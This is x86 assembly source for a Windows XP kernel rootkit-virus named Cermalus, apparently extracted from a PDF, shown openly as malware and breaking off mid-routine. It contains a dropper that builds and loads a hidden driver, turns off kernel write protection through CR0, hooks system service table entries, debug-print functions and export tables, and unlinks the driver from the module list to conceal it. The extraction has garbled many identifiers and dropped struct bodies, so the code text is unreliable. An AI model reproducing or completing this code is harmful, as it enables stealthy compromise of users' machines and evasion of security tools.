IMAGE_FILE_32BIT_MACHINE equ 00100 h
IMAGE_FILE_SYSTEM equ 01000 h
IMAGE_FILE_DLL equ 02000 h
; dos header :
mzhdr struct
mz_magic dw 05 A4Dh
mz_cblp dw 00090 h
mz_cp dw 00003 h
mz_crcl dw 00000 h
mz_cparhdr dw 00004 h
mz_minalloc dw 00000 h
mz_maxalloc dw 0 FFFFh
mz_ss dw 00000 h
mz_sp dw 000 B8h
mz_csum dw 00000 h
131
mz_ip dw 00000 h
mz_cs dw 00000 h
mz_lfarlc dw 00040 h
mz_ovno dw 00000 h
mz_res dw 4 dup (0)
mz_oemid dw 00000 h
mz_oeminfo dw 00000 h
mz_res2 dw 10 dup (0)
mz_lfanew dd 000000 A8h
mzhdr ends
; dos stub :
dos_stub struct
db 00 Eh , 01 Fh , 0 BAh , 00 Eh , 000 h , 0 B4h , 009 h , 0 CDh
db 021 h , 0 B8h , 001 h , 04 Ch , 0 CDh , 021 h , 054 h , 068 h
db 069 h , 073 h , 020 h , 070 h , 072 h , 06 Fh , 067 h , 072 h
db 061 h , 06 Dh , 020 h , 063 h , 061 h , 06 Eh , 06 Eh , 06 Fh
db 074 h , 020 h , 062 h , 065 h , 020 h , 072 h , 075 h , 06 Eh
db 020 h , 069 h , 06 Eh , 020 h , 044 h , 04 Fh , 053 h , 020 h
db 06 Dh , 06 Fh , 064 h , 065 h , 02 Eh , 00 Dh , 00 Dh , 00 Ah
db 024 h , 000 h , 000 h , 000 h , 000 h , 000 h , 000 h , 000 h
db 05 Dh , 017 h , 01 Dh , 0 DBh , 019 h , 076 h , 073 h , 088 h
db 019 h , 076 h , 073 h , 088 h , 019 h , 076 h , 073 h , 088 h
db 0 E5h , 056 h , 061 h , 088 h , 018 h , 076 h , 073 h , 088 h
db 052 h , 069 h , 063 h , 068 h , 019 h , 076 h , 073 h , 088 h
db 000 h , 000 h , 000 h , 000 h , 000 h , 000 h , 000 h , 000 h
dos_stub ends
pe_ddir struct
ddir_rva dd ? ; 00 h
ddir_size dd ? ; 04 h
pe_ddir ends
; export directory :
pedir_export struct
flags dd ? ; 00 h
timedate dd ? ; 04 h
major dw ? ; 08 h
minor dw ? ; 0 Ah
dllname dd ? ; 0 Ch
dllbase dd ? ; 10 h
numoffunctions dd ? ; 14 h
numofnames dd ? ; 18 h
rvaoffunctions dd ? ; 1 Ch
rvaofnames dd ? ; 20 h
rvaofordinals dd ? ; 24 h
pedir_export ends
; import directory :
132
pedir_import struct
ilt dd ? ; 00 h
timedate dd ? ; 04 h
forward dd ? ; 08 h
name_ dd ? ; 0 Ch
iat dd ? ; 10 h
pedir_import ends
; PE header :
pehdr struct
; signature :
pe_signature dd 00004550 h
; file header :
pe_coff_machine dw 0014 Ch
pe_coff_numofsects dw 00001 h
p e_ co f f_ t im e da ta s ta m p dd 045 F207DDh
pe_coff_symrva dd 000000000 h
pe_coff_symcount dd 000000000 h
pe_coff_ophdrsize dw 000 E0h
pe_coff_flags dw 0010 Eh
; optional header :
pe_ophdr_magic dw 0010 Bh
pe_ophdr_majorlink db 005 h
pe_ophdr_minorlink db 00 Ch
pe_o phdr_s izeofco de dd
((( offset drvcode_end - offset drvcode_begin )+(20 h -1)) and ( not (20 h -1)))
pe_ophdr_sizeofinitdata dd 000000000 h
p e _ o p h d r _ s i z e o f u i n i t d a ta dd 000000000 h
p e _ op h d r _ en t r y p o in t r v a dd 000000200 h
p e _ op h d r _ ba s e o f c od e r v a dd 000000200 h
p e _ op h d r _ ba s e o f d at a r v a dd
((( offset drv_end - offset drv_begin )+(20 h -1)) and ( not (20 h -1)))
pe_ophdr_imagebase dd 000010000 h
pe_ophdr_sectalign dd 000000020 h
pe_ophdr_filealign dd 000000020 h
pe_ophdr_majorosv dw 00004 h
pe_ophdr_minorosv dw 00000 h
pe _o phd r_ maj or ima ge v dw 00000 h
pe _o phd r_ min or ima ge v dw 00000 h
pe_o phdr_m ajorsub sv dw 00004 h
pe_o phdr_m inorsub sv dw 00000 h
pe_ophdr_unknown dd 000000000 h
pe_ophdr_imagesize dd
( offset drv_end - offset drv_begin )
pe_ophdr_hdrsize dd 000000200 h
pe_ophdr_checksum dd 000000000 h
pe_ophdr_subsystem dw 00001 h
pe_ophdr_dllflags dw 00000 h
p e _ o p h d r _ s t a c k r e s e r v e s i ze dd 00100000 h
p e _ o p h d r _ s t a c k c o m m i t s i ze dd 00001000 h
133
p e _ o p h d r _ h e a p r e s e r v e s i ze dd 00100000 h
pe_ophdr_heapcommitsize dd 00001000 h
pe _o phd r_ loa de rfl ag s dd 00000000 h
p e _ o p h d r _ r v a a n d s i z e c o u nt dd 00000010 h
; data directory []
pe_dd_export pe_ddir <? >
pe_dd_import pe_ddir <? >
pe_dd_rsrc pe_ddir <? >
pe_dd_except pe_ddir <? >
pe_dd_security pe_ddir <? >
pe_dd_reloc pe_ddir <? >
pe_dd_debug pe_ddir <? >
pe_dd_arch pe_ddir <? >
pe_dd_global pe_ddir <? >
pe_dd_tls pe_ddir <? >
pe_dd_config pe_ddir <? >
pe_dd_bound pe_ddir <? >
pe_dd_iat pe_ddir <? >
pe_dd_delay pe_ddir <? >
pe_dd_com pe_ddir <? >
pe_dd_rsrv pe_ddir <? >
pehdr ends
pe_sect struct
sect_name db 2 Eh , 74 h , 65 h , 78 h , 74 h , 3 dup (0)
sect_virtsize dd
( offset drvcode_end - offset drvcode_begin )
sect_virtaddr dd 000000200 h
sect_rawsize dd
((( offset drvcode_end - offset drvcode_begin )+(20 h -1)) and ( not (20 h -1)))
sect_rawaddr dd 000000200 h
sect_reladdr dd 000000000 h
sect_lineaddr dd 000000000 h
sect_relcount dw 00000 h
sect_linecount dw 00000 h
sect_flags dd 068000020 h
pe_sect ends
; section table :
sectbl struct
text pe_sect <>
sectbl ends
sys_body struct
sys_mz_hdr mzhdr <>
sys_dos dos_stub <>
sys_pe_hdr pehdr <>
sys_sectbl sectbl <>
134
sys_pad dd 14 dup (0)
sys_body ends
;-------------------------------------
; ring0 data
;-------------------------------------
api_entry struct
va dd ?
eat dd ?
api_entry ends
ntosapi struct
DbgPrint api_entry <>
DbgPrintEx api_entry <>
D b g Pr i n t R et u r n C o nt r o l C api_entry <>
ExAllocatePool api_entry <>
ExFreePool api_entry <>
IoAllocateMdl api_entry <>
IoCompleteRequest api_entry <>
IoCreateDevice api_entry <>
IoCreateFile api_entry <>
IoDeleteDevice api_entry <>
IoDriverObjectType api_entry <>
IoFreeMdl api_entry <>
KeBugCheck api_entry <>
KeInitializeDpc api_entry <>
Ke In iti al ize Sp inL oc k api_entry <>
KeInitializeTimer api_entry <>
K e S e r v i c e D e s c r i p t o r T a b le api_entry <>
KeSetTimer api_entry <>
M m G e t S y s t e m R o u t i n e A d d r e ss api_entry <>
MmPr obeAnd LockPa ges api_entry <>
MmUnlockPages api_entry <>
ObDe refere nceObje ct api_entry <>
O b R e f e r e n c e O b j e c t B y H a n d le api_entry <>
ProbeForRead api_entry <>
ProbeForWrite api_entry <>
P s R e m o v e C r e a t e T h r e a d N o t i f y R o u t i n e api_entry <>
PsSetCreateProcessNotifyRoutine api_entry <>
PsSetCreateThreadNotifyRoutine api_entry <>
ZwClose api_entry <>
ZwCreateSection api_entry <>
ZwMapViewOfSection api_entry <>
Z wO pe n Di r ec t or yO b je c t api_entry <>
ZwOpenFile api_entry <>
Z w Q ue r y I n fo r m a t i on F i l e api_entry <>
Zw Un map Vi ewO fS ect io n api_entry <>
wcscmp api_entry <>
ntosapi ends
135
ntos_api_count equ ( size ntosapi ) shr 2
halapi struct
KeAcquireSpinLock api_entry <>
KeGetCurrentIrql api_entry <>
KeReleaseSpinLock api_entry <>
halapi ends
hal_api_count equ ( size halapi ) shr 2
; ring0api :
ring0api struct
ntos_base dd ?
ntos ntosapi <>
hal_base dd ?
hal halapi <>
ring0api ends
ring0_api_count equ ( size ring0api ) shr 2
; ring0 nt services :
ntserv_entry struct
va dd ?
ssdt dd ?
ntserv_entry ends
ntservices struct
Nt De bug Ac ti veP ro ces s ntserv_entry <>
N t E nu m e r a te B o o t E nt r i e s ntserv_entry <>
NtOpenFile ntserv_entry <>
ntservices ends
ntservices_count equ ( size ntservices ) shr 2
; ring0data :
ring0data struct
api ring0api <>
ntdll_map_base dd ?
services ntservices <>
service_table dd ?
service_count dd ?
driver_object dd ?
module_list dd ?
kirql dd ?
kspinlock dd ?
reserved dd 4 dup (?)
ring0data ends
;--------------------------------------
; ring0 include
;--------------------------------------
136
; ntstauts :
; bugcheck code :
IRP_MJ_CREATE equ 00 h
IRP_MJ_CREATE_NAMED_PIPE equ 01 h
IRP_MJ_CLOSE equ 02 h
IRP_MJ_READ equ 03 h
IRP_MJ_WRITE equ 04 h
IRP_MJ_QUERY_INFORMATION equ 05 h
I R P _M J _ S E T_ I N F O RM A T I O N equ 06 h
IRP_MJ_QUERY_EA equ 07 h
IRP_MJ_SET_EA equ 08 h
IR P_ MJ_ FL USH _B UFF ER S equ 09 h
IRP_MJ_QUERY_VOLUME_INFORMATION equ 0 Ah
I R P _ M J _ S E T _ V O L U M E _ I N F O R M A T I ON equ 0 Bh
IRP_MJ_DIRECTORY_CONTROL equ 0 Ch
I R P _ M J _ F I L E _ S Y S T E M _ C O N T R OL equ 0 Dh
I RP _ MJ _D E VI C E_ C ON TR O L equ 0 Eh
IRP_MJ_INTERNAL_DEVICE_CONTROL equ 0 Fh
IRP_MJ_SHUTDOWN equ 10 h
IRP_ MJ_LOC K_CONTR OL equ 11 h
IRP_MJ_CLEANUP equ 12 h
I R P _M J _ C R EA T E _ M AI L S L O T equ 13 h
I RP _ MJ _Q U ER Y _S E CU RI T Y equ 14 h
IRP_ MJ_SET _SECURI TY equ 15 h
IRP_MJ_POWER equ 16 h
I RP _ MJ _S Y ST E M_ C ON TR O L equ 17 h
IR P_ MJ_ DE VIC E_ CHA NG E equ 18 h
IRP_MJ_QUERY_QUOTA equ 19 h
IRP_MJ_SET_QUOTA equ 1 Ah
IRP_MJ_PNP equ 1 Bh
IRP_MJ_PNP_POWER equ IRP_MJ_PNP
IRP_MJ_MAXIMUM_FUNCTION equ 1 Bh
137
NtCurrentProcess equ -1
NtCurrentThread equ -2
NonPagedPool equ 0
PagedPool equ 1
IoReadAccess equ 0
IoWriteAccess equ 1
IoModifyAccess equ 2
; ( enum ) mode :
KernelMode equ 0
UserMode equ 1
MaximumMode equ 2
ViewShare equ 1
ViewUnmap equ 2
; Spin Lock :
; list entry :
; unicode string :
138
unicode_string ends
; large integer :
; io status block :
; driver extension :
; driver object :
139
DriverInit dd ? ; 2 Ch
DriverStartIo dd ? ; 30 h
DriverUnload dd ? ; 34 h
MajorFunction dd
( I R P _ M J _ M A X I M U M _ F U N C TION + 1) dup (?) ; 0038 h
driver_object ends
o b j ec t _ d i re c t o r y_ e n t r y struct ; size = 08 h
ChainLink dd ? ; 00 h
Object dd ? ; 04 h
o b j ec t _ d i re c t o r y_ e n t r y ends
; object directory :
; object header :
; S e rv i c e D e sc r i p t or E n t r y :
s e r v i c e _ d e s c r i p t o r _ e n t r y struct ; size = 10 h
ServiceTableBase dd ? ; 00 h
ServiceCounterTableBase dd ? ; 04 h
NumberOfServices dd ? ; 08 h
ParamTableBase dd ? ; 0 Ch
s e r v i c e _ d e s c r i p t o r _ e n t r y ends
140
_Type dw ? ; 00 h
Number db ? ; 02 h
Importance db ? ; 03 h
DpcListEntry list_entry <> ; 04 h
DeferredRoutine dd ? ; 0 Ch
DeferredContext dd ? ; 10 h
SystemArgument1 dd ? ; 14 h
SystemArgument2 dd ? ; 18 h
_Lock dd ? ; 1 Ch
kdpc ends
; timer object :
; object attributes :
141
Ar bi tra ry Use rP oin te r dd ? ; 14 h
Self dd ? ; 18 h
nt_tib ends
module_entry struct
list list_entry <>
unk1 dd 4 dup (?)
base dd ?
entrypoint dd ?
unk2 dd ?
path unicode_string <>
_name unicode_string <>
; ...
module_entry ends
K P C R _ K D V E R S I O N B L O C K _ O F F S ET equ 034 h
d b g k d _ d e b u g _ d a t a _ h e a d e r 32 struct ; size = 0 Ch
List list_entry <> ; 00 h
OwnerTag dd ? ; 08 h
_size dd ? ; 0 Ch
d b g k d _ d e b u g _ d a t a _ h e a d e r 32 ends
142
kddebugger_data32 struct
Header d bgk d_d ebu g_ dat a_h ea der 32 <>
KernBase dd ?
Br ea kpo in tWi th Sta tu s dd ?
SavedContext dd ?
ThCallbackStack dw ?
NextCallback dw ?
FramePointer dw ?
PaeEnabled dw ?
KiCallUserMode dd ?
K e U s e r C a l l b a c k D i s p a t c h er dd ?
PsLoadedModuleList dd ?
PsA ctivePr ocessH ead dd ?
PspCidTable dd ?
E x pS y s t e m Re s o u r ce s L i s t dd ?
E x pP a g e d P oo l D e s cr i p t o r dd ?
E xp Nu m be r Of P ag ed P oo l s dd ?
KeTimeIncrement dd ?
K e B u g C h e c k C a l l b a c k L i s t H ea d dd ?
KiBugcheckData dd ?
Iop ErrorLo gListH ead dd ?
O b pR o o t D i re c t o r yO b j e c t dd ?
ObpTypeObjectType dd ?
MmSystemCacheStart dd ?
MmSystemCacheEnd dd ?
MmSystemCacheWs dd ?
MmPfnDatabase dd ?
MmSystemPtesStart dd ?
MmSystemPtesEnd dd ?
MmSubsectionBase dd ?
M mN um b er O fP a gi ng F il e s dd ?
Mm Lo wes tP hys ic alP ag e dd ?
M mH i gh es t Ph y si ca l Pa g e dd ?
MmNumberOfPhysicalPages dd ?
M m M a x i m u m N o n P a g e d P o o l I n B y t es dd ?
M mN on P ag e dS y st em S ta r t dd ?
MmN onPaged PoolSt art dd ?
MmNonPagedPoolEnd dd ?
MmPagedPoolStart dd ?
MmPagedPoolEnd dd ?
M m Pa g e d P o ol I n f o rm a t i o n dd ?
MmPageSize dd ?
M m S i z e O f P a g e d P o o l I n B y t es dd ?
MmTotalCommitLimit dd ?
M mT o ta lC o mm i tt ed P ag e s dd ?
MmSharedCommit dd ?
MmDriverCommit dd ?
MmProcessCommit dd ?
MmPagedPoolCommit dd ?
MmExtendedCommit dd ?
Mm Ze roe dP age Li stH ea d dd ?
MmFreePageListHead dd ?
M mS t an db y Pa g eL is t He a d dd ?
M m Mo d i f i e dP a g e L is t H e a d dd ?
143
MmModifiedNoWritePageListHead dd ?
MmAvailablePages dd ?
M m R e s i d e n t A v a i l a b l e P a g es dd ?
PoolTrackTable dd ?
N o n Pa g e d P oo l D e s c ri p t o r dd ?
Mm Hi ghe st Use rA ddr es s dd ?
MmSystemRangeStart dd ?
MmUserProbeAddress dd ?
K dP ri n tC i rc u la rB u ff e r dd ?
K d P r i n t C i r c u l a r B u f f e r E nd dd ?
KdPr intWri tePoint er dd ?
Kd Pr int Ro llo ve rCo un t dd ?
M mL oa d ed U se r Im ag e Li s t dd ?
kddebugger_data32 ends
;--------------------------------------
; ring3 data
;--------------------------------------
api_entry struct
va dd ?
eat dd ?
api_entry ends
kernapi struct
CloseHandle api_entry <>
CreateFileA api_entry <>
CreateFileMappingA api_entry <>
DeleteFileA api_entry <>
GetFullPathNameA api_entry <>
LoadLibraryA api_entry <>
MapViewOfFile api_entry <>
UnmapViewOfFile api_entry <>
VirtualAlloc api_entry <>
VirtualFree api_entry <>
WriteFile api_entry <>
kernapi ends
kern_api_count equ ( size kernapi ) shr 2
ntdllapi struct
Z w En u m e r a te B o o t En t r i e s api_entry <>
ntdllapi ends
ntdll_api_count equ ( size ntdllapi ) shr 2
advapi struct
CloseServiceHandle api_entry <>
144
ControlService api_entry <>
CreateServiceA api_entry <>
DeleteService api_entry <>
OpenSCManagerA api_entry <>
OpenServiceA api_entry <>
StartServiceA api_entry <>
advapi ends
adv_api_count equ ( size advapi ) shr 2
; ring3api :
ring3api struct
kern_base dd ?
kern kernapi <>
adv_base dd ?
adv advapi <>
ntdll_base dd ?
ntdll ntdllapi <>
ring3api ends
ring3_api_count equ ( size ring3api ) shr 2
; ring3data :
ring3data struct
api ring3api <>
file_handle dd ?
map_addr dd ?
map_handle dd ?
scm_handle dd ?
service_handle dd ?
buff dd ?
ring3data ends
;--------------------------------------
; ring3 include
;--------------------------------------
; service status :
;--------------------------------------
; hooks / callbacks data
;--------------------------------------
hook_data_offset equ 0 Bh
145
hook_data struct
signature dd ?
return_ dd ?
hook_data ends
pssetcreateprocessnotifyroutine_param_count equ 02 h
pssetremovecreatethreadnotifyroutine_params_count equ 01 h
ntdebugactiveprocess_param_count equ 02 h
n t e n u m e r a t e b o o t e n t r i e s _ p a r a m _ c o u n t equ 02 h
n t o pe n f i l e_ p a r a m_ c o u n t equ 06 h
c u s to m _ d p c_ p a r a m_ c o u n t equ 04 h
driverentry_param_count equ 02 h
driverunload_param_count equ 01 h
;--------------------------------------
; DPC wdog context
;--------------------------------------
wdog_context struct
Dpc kdpc <> ; 00 h
Timer ktimer <> ; 20 h
data dd ? ; 48 h
wdog_context ends
;--------------------------------------
; macros
;--------------------------------------
@ i n i t _ o b j e c t _ a t t r i b u t e s macro p , r , n , a , s
mov dword ptr [ p + object_attributes . _Length ] , size object_attributes
mov dword ptr [ p + object_attributes . RootDirectory ] , r
mov dword ptr [ p + object_attributes . ObjectName ] , n
mov dword ptr [ p + object_attributes . Attributes ] , a
mov dword ptr [ p + object_attributes . SecurityDescriptor ] , s
mov dword ptr [ p + object_attributes . Secur ityQu alit yOfSe r v i c e ] , s
endm
@cb_begin macro
pushad ; save initial registers
call getdelta ; get delta offset : ebp
mov ebx , dword ptr [ ebp ] ; get ptr to ring0data : ebx
endm
146
; ring0 callback end :
@unprotect_mring0 macro
cli
push eax
mov eax , cr0
and eax , not 10000 h
mov cr0 , eax
pop eax
endm
@protect_mring0 macro
push eax
mov eax , cr0
or eax , 10000 h
mov cr0 , eax
pop eax
sti
endm
; end string :
@endsz macro
local nxtchr
nxtchr : lodsb
test al , al
jnz nxtchr
endm
;--------------------------------------
; SEH
;--------------------------------------
except_handler struct
EH_Dummy dd ?
EH_ExceptionRecord dd ?
EH_E stabli sherFra me dd ?
EH_ContextRecord dd ?
EH _D isp at che rC ont ex t dd ?
except_handler ends
147
@ ri n g3 se h _s e tu p _f ra m e macro handler
local set_new_eh
call set_new_eh
mov esp , dword ptr [ esp + except_handler . EH_EstablisherFrame ]
handler
set_new_eh : assume fs : nothing
push fs :[0]
mov fs :[0] , esp
endm
@ r i ng 3 s e h _r e m o v e_ f r a m e macro
assume fs : nothing
pop fs :[0]
add esp , 4
endm
;--------------------------------------
; dropper code
;--------------------------------------
. code
start :
xor eax , eax
dec eax
shr eax , 20
mov ecx , eax
not ecx
mov ebx , offset drv_end - offset start
add ebx , eax
and ebx , ecx
mov edx , offset start
and edx , ecx
push edx
push eax
push esp
push PAGE_READWRITE
push ebx
push edx
call VirtualProtect
mov esi , offset api_names_begin
n ex t _m od u le _ cr c _t ab l e :
lodsd
test eax , eax
jz end_crc
mov edi , eax
lodsb
movzx ecx , al
next_api_crc :
mov eax , esi
call gen_crc32_szname
stosd
@endsz
148
loop next_api_crc
xchg eax , ecx
stosd
mov eax , esi
call gen_crc32_szname
stosd
@endsz
jmp n ex t _m odule_crc_table
end_crc :
mov eax , offset host_start
mov dword ptr [ host_start_ep ] , eax
pop eax
pop edx
push esp
push eax
push ebx
push edx
call VirtualProtect
jmp ring3_start
host_start :
xor edi , edi
push edi
push offset _title
push offset _text
push edi
call MessageBox
push edi
call ExitProcess
api_names_begin :
; ntoskrnl . exe :
dd offset ntoscrc_begin
db ( ntos_api_count shr 1)
db " DbgPrint " , 0h
db " DbgPrintEx " , 0h
db " Db g P r i n tR e turnControlC " , 0h
db " ExAllocatePool " , 0h
db " ExFreePool " , 0h
db " IoAllocateMdl " , 0h
db " IoCompleteRequest " , 0h
db " IoCreateDevice " , 0h
db " IoCreateFile " , 0h
db " IoDeleteDevice " , 0h
db " IoDriverObjectType " , 0h
db " IoFreeMdl " , 0h
db " KeBugCheck " , 0h
db " KeInitializeDpc " , 0h
db " K eIn it ial izeSpinLock " , 0h
db " KeInitializeTimer " , 0h
db " K e S e r v i c e D es cript orTab le " , 0 h
db " KeSetTimer " , 0h
db " M m G e t S y s t e mR out ine Ad dre ss " ,0 h
db " MmPr obeAndLockPages " , 0h
db " MmUnlockPages " , 0h
db " ObDe referenceObject " , 0h
149
db " O b R e f e r e n c eO bje ctB yH and le " ,0 h
db " ProbeForRead " , 0h
db " ProbeForWrite " , 0h
db " P s R e m o v e C r e a t e T h r e a d N o t i f y R o u t i n e " ,0 h
db " P s S e t C r e a t e P r o c e s s N o t i f y R o u t i n e " , 0 h
db " P s S e t C r e a t e T h r e a d N o t i f y R o u t i n e " , 0h
db " ZwClose " , 0h
db " ZwCreateSection " , 0h
db " ZwMapViewOfSection " , 0h
db " Z w Op e nD ir e ctoryObject " , 0h
db " ZwOpenFile " , 0h
db " Zw Q u e r y In f ormationFile " , 0h
db " Z wUn ma pVi ewOfSection " , 0h
db " wcscmp " , 0h
db " ntoskrnl . exe " , 0h
; hal . dll :
dd offset halcrc_begin
db ( hal_api_count shr 1)
db " KeAcquireSpinLock " , 0h
db " KeGetCurrentIrql " , 0h
db " KeReleaseSpinLock " , 0h
db " hal . dll " , 0h
; services :
dd offset n tservicescrc_begin
db ( ntservices_count shr 1)
db " Z wDe bu gAc tiveProcess " , 0h
db " Zw E n u m e ra t eBootEntries " , 0h
db " ZwOpenFile " , 0h
db " services " , 0h
; kernel32 . dll :
dd offset kerncrc_begin
db ( kern_api_count shr 1)
db " CloseHandle " , 0h
db " CreateFileA " , 0h
db " CreateFileMappingA " , 0h
db " DeleteFileA " , 0h
db " GetFullPathNameA " , 0h
db " LoadLibraryA " , 0h
db " MapViewOfFile " , 0h
db " UnmapViewOfFile " , 0h
db " VirtualAlloc " , 0h
db " VirtualFree " , 0h
db " WriteFile " , 0h
db " kernel32 . dll " , 0h
; advapi . dll :
dd offset advapicrc_begin
db ( adv_api_count shr 1)
db " CloseServiceHandle " , 0h
db " ControlService " , 0h
db " CreateServiceA " , 0h
db " DeleteService " , 0h
db " OpenSCManagerA " , 0h
db " OpenServiceA " , 0h
db " StartServiceA " , 0h
150
db " advapi32 . dll " , 0h
; ntdll . dll :
dd offset ntdllcrc_begin
db ( ntdll_api_count shr 1)
db " Zw E n u m e ra t eBootEntries " , 0h
db " ntdll . dll " , 0h
api_names_end :
dd 0
_title db " [ WinXPSP2 . Cermalus by Pluf /7 A69ML ] " ,0 h
_text db " [ first step ] " ,0 h
;--------------------------------------
; driver begin
;--------------------------------------
drv_begin :
driver sys_body <>
drvcode_begin :
;--------------------------------------
; driver entry
;--------------------------------------
151
sub esp , size ring0data . api
mov edi , esp
push edx
push edi
call get_apis
pop ebx
lodsd
lea eax , dword ptr [ ebp + ( offset hal_api_uname - offset delta )]
push eax
mov ax , offset hal_uname - offset hal_api_uname
push ax
dec eax
dec eax
push ax
push esp
call dword ptr [ ebx + ring0data . api . ntos . MmG et Sys tem Ro uti n e A d d r e s s . va ]
add esp , size unicode_string
pop edx
mov esp , edx
test eax , eax
jz dr v_entry_unsuccess
mov esp , ebx
push edx
xchg ebx , eax
push eax
call get_base
call get_apis
pop ebx
push size ring0data
push NonPagedPool
call dword ptr [ ebx + ring0data . api . ntos . ExAllocatePool . va ]
pop edx
mov esp , edx
test eax , eax
jz dr v_entry_unsuccess
mov esp , ebx
push edx
@unprotect_mring0
mov dword ptr [ ebp ] , eax
@protect_mring0
mov edi , eax
mov esi , ebx
mov ebx , edi
push ( size ring0data . api ) shr 2
pop ecx
rep movsd
pop esp
@gparam eax , 0
mov dword ptr [ ebx + ring0data . driver_object ] , eax
mov eax , dword ptr [ eax + driver_object . DriverSection ]
mov dword ptr [ ebx + ring0data . module_list ] , eax
mov eax , dword ptr
[ ebx + ring0data . api . ntos . KeSer viceD escr iptor Table . va ]
push dword ptr [ eax + s ervic e_de scrip tor_e ntry . ServiceTableBase ]
152
pop dword ptr [ ebx + ring0data . service_table ]
push dword ptr [ eax + s ervic e_de scrip tor_e ntry . NumberOfServices ]
pop dword ptr [ ebx + ring0data . service_count ]
register_unload :
mov eax , dword ptr [ ebx + ring0data . driver_object ]
lea ecx , dword ptr [ ebp + ( offset driver_unload - offset delta )]
mov dword ptr [ eax + driver_object . DriverUnload ] , ecx
ge t_ nts er vic es _be gi n :
lea eax , dword ptr [ ebp + ( offset ufpath_ntdll - offset delta )]
call map _imagefile_ring0
test eax , eax
jnz drv_ent ry_unsuccess
push edi
push esi
call g e t _ n t s ervi ces_m ap_nt dll
ntse rvices crc_beg in :
dd ( ntservices_count shr 1) + 1 dup (0)
ntservicescrc_end :
dd (0)
get_ntservices_map_ntdll :
lea edi , dword ptr [ ebx + ring0data . ntdll_map_base ]
mov eax , ebx
mov ebx , esi
pop esi
push eax
call get_apis
pop ebx
sub edi , size ring0data . services
mov esi , edi
push ntservices_count shr 1
pop ecx
mov edx , dword ptr [ ebx + ring0data . service_table ]
g e t _ n t s e r v i c e s _ n e x t _ s e r v i ce :
lodsd
cmp byte ptr [ eax ] , 0 B8h
jne bad_entry
mov eax , dword ptr [ eax + 1]
cmp eax , dword ptr [ ebx + ring0data . service_count ]
jnbe bad_entry
lea eax , dword ptr [ edx + eax * 4]
push eax
mov eax , dword ptr [ eax ]
stosd
pop eax
stosd
jmp next_entry
bad_entry :
scasd
scasd
next_entry :
lodsd
loop g e t _ n t s e r vi c es _ ne x t_ s er v ic e
g e t _ n t s e r v i c e s _ u n m a p _ n t d ll :
pop esi
153
pop edi
call unm ap_section_ring0
get_ntservices_end :
raise_irql :
lea esi , dword ptr [ ebx + ring0data . kirql ]
lea edi , dword ptr [ ebx + ring0data . kspinlock ]
push edi
call dword ptr [ ebx + ring0data . api . ntos . KeInitializeSpinL ock . va ]
push esi
push edi
call dword ptr [ ebx + ring0data . api . hal . KeAcquireSpinLock . va ]
call dword ptr [ ebx + ring0data . api . hal . KeGetCurrentIrql . va ]
dec al
dec al
jz unprotect
jmp start_wdog
unprotect :
@unprotect_mring0
h oo k _n ts e rv i ce s _b eg i n :
call hook_ntservices
servicehook_begin :
; NtD eb ugA ct ive Process service :
dd ring0data . services . NtDebugActiveProcess , \
offset n t _ d eb u g _ ac t i ve _ p r oc e s s _h o o k - offset delta
; NtOpenFile service :
dd ring0data . services . NtOpenFile , \
offset nt_open_file_hook - offset delta
; N t En u m e r a te B o otEntries service :
dd ring0data . services . NtEnumerateBootEntries , \
offset n t _ e n u m e r a t e _ b o o t _ e n t r i e s _ h o o k - offset delta
servicehook_end :
dd -1
hook_ntservices :
pop esi
call hook_functions
hook _ntser vices_e nd :
hook_exported_apis_begin :
call hook_exported_apis
expapihook_begin :
; DbgPrint :
dd ring0data . api . ntos . DbgPrint , \
offset api_ntos_dbg_print_hook - offset delta
; DbgPrintEx :
dd ring0data . api . ntos . DbgPrintEx , \
offset a pi _n to s_ db g_ pr in t _e x_ ho ok - offset delta
; D b gP r i n t R et u r nControlC :
dd ring0data . api . ntos . DbgPrintReturnControlC , \
offset a p i _ n t o s _ d b g _ p r i n t _ r e t u r n _ c o n t r o l c _ h o o k - offset delta
expapihook_end :
dd -1
hook_exported_apis :
pop esi
call hook_functions
jmp hook_eat_begin
154
h oo k _e xp o rt e d_ a pi _e n d :
; in :
; esi = ptr hook table info
; out : nothing
hook_functions :
hook_next_function :
lodsd
inc eax
jz hook_functions_end
dec eax
lea edx , dword ptr [ ebx + eax ]
lodsd
lea eax , dword ptr [ ebp + eax + hook_data_offset ]
push esi
mov esi , dword ptr [ eax + hook_data . signature ]
add esi , ebp
mov edi , dword ptr [ edx + ntserv_entry . va ]
push 5
pop ecx
repe cmpsb
pop esi
jne hook_next_function
mov ecx , dword ptr [ eax + hook_data . return_ ]
sub edi , 5
sub eax , ( hook_data_offset + 5)
sub eax , edi
mov byte ptr [ edi ] , 0 E9h
inc edi
stosd
jecxz hook_next_function
lea ecx , dword ptr [ ebp + ecx ]
mov dword ptr [ ecx ] , edi
jmp hook_next_function
hook_functions_end :
ret
hook_eat_begin :
call hook_eat
ntoseat_begin :
; ntoskrnl :
dd ring0data . api . ntos_base
; PsSetCreateProcessNotifyRoutine :
dd ring0data . api . ntos . PsSetCreateProcessNotifyRoutine , \
offset a p i _ n t o s _ p s _ s e t _ c r e a t e _ p r o c e s s _ n o t i f y _ r o u t i n e _ h o o k -
offset delta
; PsSetCreateThreadNotifyRoutine :
dd ring0data . api . ntos . PsSetCreateThreadNotifyRoutine ,
\
offset a p i _ n t o s _ p s _ s e t _ c r e a t e _ t h r e a d _ n o t i f y _ r o u t i n e _ h o o k -
offset delta
; PsRemoveCreateThreadNotifyRoutine :
dd ring0data . api . ntos . PsRemoveCreateThreadNotifyRoutine ,
\
155
offset a p i _ n t o s _ p s _ r e m o v e _ c r e a t e _ t h r e a d _ n o t i f y _ r o u t i n e _ h o o k -
offset delta
0dd
ntoseat_end :
dd -1
hook_eat :
pop esi
next_descriptor :
lodsd
inc eax
jz hook_eat_end
dec eax
mov ecx , dword ptr [ ebx + eax ]
next_eat_entry :
lodsd
test eax , eax
jz next_descriptor
mov edx , dword ptr [ ebx + eax + api_entry . eat ]
lodsd
lea eax , dword ptr [ ebp + eax ]
sub eax , ecx
xchg [ edx ] , eax
jmp next_eat_entry
hook_eat_end :
h i d e _ d r i v e r _ f r o m _ m o d u l e _ l i st :
mov eax , dword ptr [ ebx + ring0data . module_list ]
mov edx , dword ptr [ eax + list_entry . Flink ]
mov ecx , dword ptr [ eax + list_entry . Blink ]
mov dword ptr [ edx + list_entry . Blink ] , ecx
mov dword ptr [ ecx + list_entry . Flink ] , edx
hide_driver_from_object_directory :
jmp hide
w al k _o bj e ct _ di re c to r y :
push 37
next_list :
mov ecx , dword ptr [ esi ]
jecxz get_next_list
mov edi , ecx
next_object_entry :
